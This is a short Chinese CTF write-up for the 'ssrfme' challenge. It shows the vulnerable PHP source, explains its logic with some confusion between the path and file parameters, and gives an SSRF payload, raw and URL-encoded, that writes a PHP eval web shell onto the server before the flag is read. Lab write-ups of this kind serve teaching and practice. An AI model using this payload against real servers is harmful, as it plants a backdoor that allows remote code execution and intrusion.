bmzctf刷题ssrfme
bmzctf刷题 ssrfme
考点:ssrf 本来我还想docker逃逸的,但是未成功
😕
代码
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
思路:
代码的功能主要是
1.给出两个参数path和file
2.检查path中是否含有..
有的话就显示This is a waf
3.通过strop函数比较传入的path开头是否以http://127.0.0.1/
开头,没有的话显示hello geeker
4.如果path是以http://127.0.0.1/
开头,就包含path传入的url,并显示路径l
5.程序会获取返回页面的代码,并保存到php中
方法
通过传入payload,然后让程序读取,保存到php
payload:
?file=http://127.0.0.1/?file=http://127.0.0.1/index.php%26path=%253c%253fphp%2beval(%2524_POST%255b%2527shell%2527%255d)%253b%253f%253e&path=181.php
原版:
?file=http://127.0.0.1/?file=http://127.0.0.1/index.php&path=<?php eval($_POST['shell']);?>&path=181.php
读flag
A lion doesn't concern himself with the opinions of a sheep.